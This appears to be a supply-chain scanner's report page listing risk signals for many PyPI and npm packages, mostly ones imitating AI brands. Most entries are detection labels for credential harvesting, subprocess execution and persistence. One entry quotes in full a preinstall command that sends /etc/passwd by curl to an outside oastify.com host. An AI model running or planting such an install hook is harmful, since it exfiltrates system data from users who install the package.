• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_ns_hub-0.3.45/server.py:7570
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_ns_hub-0.3.45/server.py:187
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in claude_ns_hub-0.3.45/server.py:4202
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_ns_hub-0.3.45/server.py:77

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_ns_hub-0.3.45/hub-encode-daemon.py:96
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_ns_hub-0.3.45/server.py:7570
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_ns_hub-0.3.45/server.py:187
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in claude_ns_hub-0.3.45/server.py:4202
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_ns_hub-0.3.45/server.py:77
• SOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in claude_ns_hub-0.3.45/server.py:5479
• SYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in claude_ns_hub-0.3.45/server.py:18838
• ANTI_ANALYSIS_EVASION: 'Extended Scanner Timeout Stall' found in claude_ns_hub-0.3.45/server.py:3594

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'claude-mpm' matches AI hallucination template [python] + [claude] + [mpm].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'bob@matsuoka.com' is not affiliated with official vendor domain.
• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_mpm-6.5.83/src/claude_mpm/adapters/cli_adapters.py:33
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/agents/agent_loader.py:752
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/auth/providers/google.py:75
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/auth/providers/slack.py:80

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_mpm-6.5.83/src/claude_mpm/adapters/cli_adapters.py:33
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/agents/agent_loader.py:752
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/auth/providers/google.py:75
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/auth/providers/slack.py:80
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/cli/__init__.py:77
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_mpm-6.5.83/src/claude_mpm/cli/chrome_devtools_installer.py:88
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_mpm-6.5.83/src/claude_mpm/cli/commands/agent_manager.py:1080
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/cli/commands/agent_manager.py:1077

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/agent_core/memory.py:25
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/agent_core/skill_manager.py:60
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/autonomy.py:142
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/autonomy_jobs.py:204
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/autonomy_jobs.py:135
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/backends/cwr.py:24

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/agent_core/memory.py:25
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/agent_core/skill_manager.py:60
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/autonomy.py:142
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/autonomy_jobs.py:204
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/autonomy_jobs.py:135
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/backends/cwr.py:24
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/backends/desktop_runtime.py:497
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ghostchimera-0.4.0b0/ghostchimera/chimera_pilot/backends/gemini.py:61

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (28 days ago) during the active AI hallucination slopsquatting wave.
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.Popen' executed at module scope (runs on import) in pyrecrawl-0.8.1/scripts/probe_stdio.py:12
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.8.1/scripts/probe_stdio.py:12
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.Popen' executed at module scope (runs on import) in pyrecrawl-0.8.1/scripts/probe_v2.py:19
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.8.1/scripts/probe_v2.py:19
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.8.1/scripts/stats.py:56
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in pyrecrawl-0.8.1/src/pyrecrawl/cli.py:67

• MODULE_TOPLEVEL_EXECUTION: 'subprocess.Popen' executed at module scope (runs on import) in pyrecrawl-0.8.1/scripts/probe_stdio.py:12
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.8.1/scripts/probe_stdio.py:12
• MODULE_TOPLEVEL_EXECUTION: 'subprocess.Popen' executed at module scope (runs on import) in pyrecrawl-0.8.1/scripts/probe_v2.py:19
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.8.1/scripts/probe_v2.py:19
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.8.1/scripts/stats.py:56
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in pyrecrawl-0.8.1/src/pyrecrawl/cli.py:67
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.8.1/src/pyrecrawl/cli.py:281
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in pyrecrawl-0.8.1/src/pyrecrawl/cli.py:22

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'claude-tray' matches AI hallucination template [node] + [claude] + [tray].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (180 days ago) during the active AI hallucination slopsquatting wave.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'chmod +x node_modules/systray2/traybin/tray_darwin_release 2>/dev/null || true'
• HIGHMISSING_SOURCE_REPOSITORY_URL
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/bin/claude-tray.js:32 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/claude-tray.js:104

• LIFECYCLE_SCRIPT: 'postinstall' -> 'chmod +x node_modules/systray2/traybin/tray_darwin_release 2>/dev/null || true'
• MISSING_SOURCE_REPOSITORY_URL
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/bin/claude-tray.js:32 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/claude-tray.js:104
• CREDENTIAL_PATH_HARVESTING: 'macOS Keychain Dump' found in package/src/credentials.js:52
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/credentials.js:51 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/usage.js:9

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'swe-copilot-agents' matches AI hallucination template [swe] + [copilot] + [agents].
• HIGHClaims critical enterprise brand identity ('COPILOT').
• HIGHPublisher email 'khaerul@example.com' is not affiliated with official vendor domain.
• MEDIUMPackage registered 205 days ago within the 1-year AI tool proliferation window.
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'subprocess' imported in swe_copilot_agents-0.1.12/awesome_copilot/install_prompt.pth: 'import subprocess'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in swe_copilot_agents-0.1.12/awesome_copilot/install_prompt.pth: 'import sys'

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'subprocess' imported in swe_copilot_agents-0.1.12/awesome_copilot/install_prompt.pth: 'import subprocess'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in swe_copilot_agents-0.1.12/awesome_copilot/install_prompt.pth: 'import sys'

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name '@animoca/revv-ethereum-contracts' matches AI hallucination template [node] + [ethereum] + [revv-ethereum-contracts].
• HIGHClaims critical enterprise brand identity ('ETHEREUM').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• INFOEstablished pre-AI legacy package registered 2040 days ago (predates modern AI hallucination waves).
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'bash -c 'for cfg in .vscode/settings.json .vscode/extensions.json .vscode/launch.json; do cp -n ${cfg}.default ${cfg} || :; done''
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'sh -c' in 'postinstall' script

• LIFECYCLE_SCRIPT: 'postinstall' -> 'bash -c 'for cfg in .vscode/settings.json .vscode/extensions.json .vscode/launch.json; do cp -n ${cfg}.default ${cfg} || :; done''
• SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script
• SUSPICIOUS_SHELL_COMMAND: Pattern 'sh -c' in 'postinstall' script

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• INFOPublisher email domain '@autohilt.com' matches package identifier token 'autohilt', verifying identifiable third-party organization ownership.
• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (68 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in autohilt/assets.py:90
• HIGHCREDENTIAL_PATH_HARVESTING: 'SSH Private Keys (~/.ssh)' found in autohilt/authkeys.py:1
• HIGHCREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in autohilt/authkeys.py:1
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in autohilt/authkeys.py:250
• HIGHCREDENTIAL_PATH_HARVESTING: 'SSH Private Keys (~/.ssh)' found in autohilt/cli.py:950

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in autohilt/assets.py:90
• CREDENTIAL_PATH_HARVESTING: 'SSH Private Keys (~/.ssh)' found in autohilt/authkeys.py:1
• CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in autohilt/authkeys.py:1
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in autohilt/authkeys.py:250
• CREDENTIAL_PATH_HARVESTING: 'SSH Private Keys (~/.ssh)' found in autohilt/cli.py:950
• CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in autohilt/cli.py:950
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in autohilt/cli.py:1030
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in autohilt/cli.py:525

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name '@akasecurity/plugin-claude-code' matches AI hallucination template [node] + [claude] + [plugin-claude-code].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (55 days ago) during the active AI hallucination slopsquatting wave.
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Hardcoded GitHub Personal Access Token' found in package/scripts/backfill.js:24258 (+9 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/scripts/backfill.js:22890 (+9 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/backfill.js:22658 (+10 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in package/scripts/backfill.js:22677 (+9 more occurrence(s) elsewhere)

• EXFILTRATION_DESTINATION_DETECTED: 'Hardcoded GitHub Personal Access Token' found in package/scripts/backfill.js:24258 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/scripts/backfill.js:22890 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/backfill.js:22658 (+10 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in package/scripts/backfill.js:22677 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/scripts/backfill.js:22085 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/scripts/backfill.js:1990 (+12 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/scripts/backfill.js:23097 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/scripts/backfill.js:22217 (+10 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'vllm-hust' matches AI hallucination template [python] + [vllm] + [hust].
• HIGHClaims critical enterprise brand identity ('VLLM').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (172 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/.buildkite/check-wheel-size.py:12
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/.buildkite/performance-benchmarks/scripts/compare-json-results.py:1141
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/backend_request_func.py:223
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/benchmark_batch_invariance.py:108

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/.buildkite/check-wheel-size.py:12
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/.buildkite/performance-benchmarks/scripts/compare-json-results.py:1141
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/backend_request_func.py:223
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/benchmark_batch_invariance.py:108
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/disagg_benchmarks/disagg_prefill_proxy_server.py:125
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/kernels/benchmark_block_fp8_gemm.py:7
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/kernels/benchmark_device_communicators.py:301
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/kernels/benchmark_fused_collective.py:976

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (145 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/daemon/checker.js:18 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/config.js:6 (+3 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/commands/daemon.js:23
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/dist/commands/daemon.js:104
• CRITICALSOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/dist/commands/daemon.js

• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/daemon/checker.js:18 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/config.js:6 (+3 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/commands/daemon.js:23
• SYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/dist/commands/daemon.js:104
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/dist/commands/daemon.js
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/crypto/keychain.js:19 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• HIGHClaims critical enterprise brand identity ('LLAMA').
• HIGHPublisher email 'oss@shamit.in' is not affiliated with official vendor domain.
• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_pydist-0.94.0/llama_cpp/convert_model.py:67
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/scripts/changelog/github_client.py:27
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in llama_cpp_pydist-0.94.0/scripts/changelog/github_client.py:27
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/scripts/generate_changelog.py:48
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in llama_cpp_pydist-0.94.0/scripts/generate_changelog.py:48

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_pydist-0.94.0/llama_cpp/convert_model.py:67
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/scripts/changelog/github_client.py:27
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in llama_cpp_pydist-0.94.0/scripts/changelog/github_client.py:27
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/scripts/generate_changelog.py:48
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in llama_cpp_pydist-0.94.0/scripts/generate_changelog.py:48
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/vendor_llama_cpp_pydist/llama.cpp/conversion/base.py:26
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/vendor_llama_cpp_pydist/llama.cpp/conversion/bert.py:117
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/vendor_llama_cpp_pydist/llama.cpp/conversion/t5.py:30

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (158 days ago) during the active AI hallucination slopsquatting wave.
• HIGHMISSING_SOURCE_REPOSITORY_URL
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/src/generate.js:6790 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/generate.js:2903 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/generate.js:167 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/server.js:104

• MISSING_SOURCE_REPOSITORY_URL
• SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/src/generate.js:6790 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/generate.js:2903 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/generate.js:167 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/server.js:104
• SOURCE_CODE_DYNAMIC_CODE_LOADER: execution primitive combined with decode/network/obfuscation call in package/src/server.js

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'vllm-fixed' matches AI hallucination template [python] + [vllm] + [fixed].
• HIGHClaims critical enterprise brand identity ('VLLM').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage registered 334 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/.buildkite/check-wheel-size.py:11
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/.buildkite/nightly-benchmarks/scripts/summary-nightly-results.py:72
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/backend_request_func.py:275
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/benchmark_utils.py:19

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/.buildkite/check-wheel-size.py:11
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/.buildkite/nightly-benchmarks/scripts/summary-nightly-results.py:72
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/backend_request_func.py:275
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/benchmark_utils.py:19
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/disagg_benchmarks/disagg_prefill_proxy_server.py:16
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/kernels/benchmark_aqlm.py:16
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/kernels/benchmark_machete.py:36
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in vllm_fixed-1.0.0/csrc/moe/marlin_moe_wna16/generate_kernels.py:50

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'ringcentral-google-drive-notification-add-in' matches AI hallucination template [ringcentral] + [google] + [drive].
• HIGHClaims critical enterprise brand identity ('GOOGLE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHLIFECYCLE_SCRIPT: 'preinstall' -> '/usr/bin/curl --data '@/etc/passwd' $(hostname).tsp768bg6f5vqke8q8r5twahj8pzdq1f.oastify.com'
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script
• HIGHMISSING_SOURCE_REPOSITORY_URL
• INFOModerate community usage with 247 monthly downloads.

• LIFECYCLE_SCRIPT: 'preinstall' -> '/usr/bin/curl --data '@/etc/passwd' $(hostname).tsp768bg6f5vqke8q8r5twahj8pzdq1f.oastify.com'
• SUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script
• MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• HIGHClaims critical enterprise brand identity ('AWS').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• INFOEstablished pre-AI legacy package registered 837 days ago (predates modern AI hallucination waves).
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Hardcoded GitHub Personal Access Token' found in aws_ansible_sdk-0.0.2/src/cloudformation.py:11
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in aws_ansible_sdk-0.0.2/src/cloudformation.py:8
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in aws_ansible_sdk-0.0.2/src/cloudformation.py:8
• CRITICALSOURCE_CODE_POTENTIAL_STEALER: potential exfiltration endpoint combined with credential/environment harvesting in aws_ansible_sdk-0.0.2/src/cloudformation.py

• EXFILTRATION_DESTINATION_DETECTED: 'Hardcoded GitHub Personal Access Token' found in aws_ansible_sdk-0.0.2/src/cloudformation.py:11
